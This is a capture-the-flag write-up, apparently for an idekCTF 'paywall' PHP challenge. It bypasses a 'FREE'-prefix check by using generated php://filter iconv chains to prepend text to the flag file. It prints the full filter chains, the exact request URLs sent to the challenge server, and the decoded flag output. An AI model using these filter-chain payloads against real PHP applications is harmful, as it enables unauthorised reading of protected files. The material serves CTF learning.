The source code of the app had the following PHP code:
```
$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
```

There were two files in the /articles directory, the goal was to read the flag file, which had content similar to the following:
```
PREMIUM - idek{REDACTED}
```

Given that we can only read files that start with "FREE" we can use the php:// scheme to use filters that allow us to modify the flag file so we can prepend the "FREE" string. To do this I've used the following [tool](https://github.com/synacktiv/php_filter_chain_generator)(notice the two spaces after FREE):
```
python.exe .\php_filter_chain_generator.py --chain 'FREE '
[+] The following gadget chain will generate the following code : FREE (base64 value: RlJFRSAg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```

If we request the following from the server:
```
http://paywall.chal.idek.team:1337/?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag
```

We would get the following content:
```
FREE ?$)CPREMIUM - idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}?�?@?C�?�?����>==?�?@?C�?�?����>==?�?@?
```

[Alternate solution]
Previous to this I solved the challenge in the following manner(without adding spaces as padding):
```
python.exe .\php_filter_chain_generator.py --chain 'FREE'
[+] The following gadget chain will generate the following code : FREE (base64 value: RlJFRQ)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```

Sent the following to the server:
```
http://paywall.chal.idek.team:1337/?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag
```

Received the following:
```
FREE?�B�5?$TԕT�?�?�FV��F�F��U�E�7V'65#?#?�u�C?��W%��7w5?�???W"?����>==?�?@?C�?�?����>==?�?@?
```

Converted it to hex:
```
$flag_content = file_get_contents("flag.txt");
echo bin2hex($flag_content)."\n";
```
Got:
```
01b2429435052454d49554d202d206964656b7b5468346e6b5f555f345f5375627363523162316e675f74305f6f75725f6e33777350485061706572217d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f
```
Then removed the first 0, so we have:
```
1b2429435052454d49554d202d206964656b7b5468346e6b5f555f345f5375627363523162316e675f74305f6f75725f6e33777350485061706572217d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f
```
If we hex decode this we have the following:
```
?$)CPREMIUM - idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}?€?@?Cà?Ð?Ðø�ô�ô>�=�=?€?@?Cà?Ð?Ðø�ô�
```